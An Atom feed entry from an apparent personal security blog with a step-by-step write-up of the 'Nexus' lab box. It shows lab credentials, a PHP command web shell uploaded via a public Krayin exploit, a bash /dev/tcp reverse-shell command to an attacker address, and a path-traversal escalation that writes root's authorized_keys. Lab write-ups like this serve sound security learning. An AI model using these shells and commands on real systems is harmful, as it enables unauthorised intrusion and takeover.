<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  
  <title>Null Network</title>
  <subtitle>Echo&#39;s hacker notebook: box writeups, guides and notes.</subtitle>
  <link href="https://nullnetwork.sh/feed.xml" rel="self" />
  <link href="https://nullnetwork.sh/" />
  <updated>2026-10-20T00:00:00Z</updated>
  <id>https://nullnetwork.sh/</id>
  <author>
    <name>Echo</name>
  </author>
  <entry>
    <title>Nexus</title>
    <link href="https://nullnetwork.sh/blog/nexus/" />
    <updated>2026-10-20T00:00:00Z</updated>
    <id>https://nullnetwork.sh/blog/nexus/</id>
    <summary>Leaked credentials give Krayin and user access; a vulnerable Gitea sync service leads to root.</summary>
    <content type="html">&lt;h2 id=&quot;target-overview&quot;&gt;Target overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Target IP&lt;/td&gt;
&lt;td&gt;10.129.77.178&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operating system&lt;/td&gt;
&lt;td&gt;Ubuntu Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Services&lt;/td&gt;
&lt;td&gt;OpenSSH 9.6p1, nginx 1.24.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web technologies identified&lt;/td&gt;
&lt;td&gt;Gitea 1.26.0, Laravel 12.54.1, Krayin 2.2.0, PHP 8.3.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovered email&lt;/td&gt;
&lt;td&gt;j.matthew@nexus.htb&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;credentials-collected&quot;&gt;Credentials collected&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Account or purpose&lt;/th&gt;
&lt;th&gt;Username / email&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Krayin portal&lt;/td&gt;
&lt;td&gt;j.matthew@nexus.htb&lt;/td&gt;
&lt;td&gt;N27xh!!2ucY04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Krayin database&lt;/td&gt;
&lt;td&gt;krayin&lt;/td&gt;
&lt;td&gt;N27xh!!2ucY04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jones system account&lt;/td&gt;
&lt;td&gt;jones&lt;/td&gt;
&lt;td&gt;y27xb3ha!!74GbR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mail sender address&lt;/td&gt;
&lt;td&gt;laravel@krayincrm.com&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;1-port-scan&quot;&gt;1. Port scan&lt;/h2&gt;
&lt;p&gt;I scanned all TCP ports with Nmap:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -p- &lt;span class=&quot;token parameter variable&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; --disable-arp-ping &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; --stats-every&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;5s --min-rate&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-oA&lt;/span&gt; allportscan &lt;span class=&quot;token number&quot;&gt;10.10&lt;/span&gt;.14.X&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The scan identified two open ports:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 9.6p1 Ubuntu 3ubuntu13.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;nginx 1.24.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Nmap reported dropped probes and repeatedly increased its send delay. The aggressive &lt;code&gt;--min-rate&lt;/code&gt; setting likely contributed to the packet loss.&lt;/p&gt;
&lt;h2 id=&quot;2-virtual-host-discovery&quot;&gt;2. Virtual-host discovery&lt;/h2&gt;
&lt;p&gt;I first tried Gobuster:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster vhost &lt;span class=&quot;token parameter variable&quot;&gt;-u&lt;/span&gt; http://nexus.htb &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The tested entries returned &lt;code&gt;400&lt;/code&gt; responses. I then used ffuf with a Host header:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf &lt;span class=&quot;token parameter variable&quot;&gt;-u&lt;/span&gt; http://10.129.77.178 &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Host: FUZZ.nexus.htb&#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class=&quot;token parameter variable&quot;&gt;-ac&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;This identified two virtual hosts:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hostname&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;billing.nexus.htb&lt;/td&gt;
&lt;td&gt;302&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;git.nexus.htb&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I added the discovered hostnames to my local name-resolution setup before accessing them.&lt;/p&gt;
&lt;h2 id=&quot;3-initial-access-via-php-shell-upload&quot;&gt;3. Initial access via PHP shell upload&lt;/h2&gt;
&lt;p&gt;I logged into the Krayin portal at &lt;code&gt;billing.nexus.htb&lt;/code&gt; using &lt;code&gt;j.matthew@nexus.htb&lt;/code&gt; and the password &lt;code&gt;N27xh!!2ucY04&lt;/code&gt;. I then used Exploit-DB 52629 (&lt;a href=&quot;https://www.exploit-db.com/exploits/52629&quot;&gt;https://www.exploit-db.com/exploits/52629&lt;/a&gt;) to upload a PHP command-execution shell:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 &lt;span class=&quot;token number&quot;&gt;52629&lt;/span&gt;.py &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; http://billing.nexus.htb &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-u&lt;/span&gt; j.matthew@nexus.htb &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;N27xh!!2ucY04&#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; ~/Documents/HTB/Boxes/Nexus/shell.php&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The uploaded file contained:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;php&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;php&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;I tested command execution with:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://billing.nexus.htb/storage/tinymce/1b81ec1b21b28dc924e109b93224975e.php?cmd=whoami&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;With a Netcat listener running on port &lt;code&gt;4444&lt;/code&gt;, I triggered a reverse shell:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://billing.nexus.htb/storage/tinymce/1b81ec1b21b28dc924e109b93224975e.php?cmd=bash+-c+&#39;exec+bash+-i+%26&gt;/dev/tcp/10.10.14.X/4444+&amp;lt;%261&#39;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;This provided a shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;4-lateral-move-to-jones&quot;&gt;4. Lateral move to jones&lt;/h2&gt;
&lt;p&gt;While enumerating the host as &lt;code&gt;www-data&lt;/code&gt;, I found a &lt;code&gt;.env&lt;/code&gt; file in &lt;code&gt;/krayin&lt;/code&gt;. It contained the password &lt;code&gt;y27xb3ha!!74GbR&lt;/code&gt;, which I used to SSH in as &lt;code&gt;jones&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ssh&lt;/span&gt; jones@nexus.htb&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h2 id=&quot;5-privilege-escalation-via-gitea-template-sync&quot;&gt;5. Privilege escalation via Gitea template sync&lt;/h2&gt;
&lt;p&gt;As &lt;code&gt;jones&lt;/code&gt;, I checked the systemd timers:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl list-timers --no-pager &lt;span class=&quot;token parameter variable&quot;&gt;--full&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The output showed that &lt;code&gt;gitea-template-sync.timer&lt;/code&gt; activates &lt;code&gt;gitea-template-sync.service&lt;/code&gt; every minute:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;jones@nexus:~$ systemctl list-timers --no-pager &lt;span class=&quot;token parameter variable&quot;&gt;--full&lt;/span&gt;
NEXT                        LEFT LAST                        PASSED UNIT                       ACTIVATES
Sat &lt;span class=&quot;token number&quot;&gt;2026&lt;/span&gt;-10-03 &lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt;:13:10 UTC  7s Sat &lt;span class=&quot;token number&quot;&gt;2026&lt;/span&gt;-10-03 &lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt;:12:10 UTC 52s ago gitea-template-sync.timer gitea-template-sync.service&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The template-sync process was vulnerable to path traversal (CWE-22). The exploit wrote raw Git objects directly into &lt;code&gt;.git/objects/&lt;/code&gt;, bypassing Git&#39;s usual path validation.&lt;/p&gt;
&lt;p&gt;I generated an SSH key pair as &lt;code&gt;jones&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh-keygen &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; ed25519 &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; /tmp/.k &lt;span class=&quot;token parameter variable&quot;&gt;-N&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;I logged into Gitea as &lt;code&gt;jones&lt;/code&gt; and created a repository template named &lt;code&gt;test&lt;/code&gt;. From the &lt;code&gt;www-data&lt;/code&gt; shell, I cloned the template repository locally and ran the build script:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; /tmp
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone http://jones:&lt;span class=&quot;token string&quot;&gt;&#39;y27xb3ha!!74GbR&#39;&lt;/span&gt;@localhost:3000/jones/test.git
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;test&lt;/span&gt;
python3 /tmp/build.py&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The script reads &lt;code&gt;/tmp/.k.pub&lt;/code&gt;, creates Git blob, tree, and commit objects, and updates the clone&#39;s &lt;code&gt;main&lt;/code&gt; ref to point to the crafted commit. Its tree includes an &lt;code&gt;authorized_keys&lt;/code&gt; file beneath &lt;code&gt;.ssh&lt;/code&gt;, with traversal entries that escape the repository directory when the sync service processes the template.&lt;/p&gt;
&lt;p&gt;I waited for the next timer run to process the crafted commit.&lt;/p&gt;
&lt;h2 id=&quot;6-root-access&quot;&gt;6. Root access&lt;/h2&gt;
&lt;p&gt;I copied the private key generated as &lt;code&gt;jones&lt;/code&gt; to my local machine and restricted its permissions:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;scp&lt;/span&gt; jones@nexus.htb:/tmp/.k /tmp/.k
&lt;span class=&quot;token function&quot;&gt;chmod&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;600&lt;/span&gt; /tmp/.k&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;I then used the key to SSH in as root:&lt;/p&gt;
&lt;div class=&quot;term&quot; data-language=&quot;bash&quot;&gt;&lt;div class=&quot;term-bar&quot; data-pagefind-ignore=&quot;&quot;&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ssh&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; /tmp/.k root@nexus.htb&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;  root access obtained.&lt;/p&gt;
</content>
  </entry>
</feed>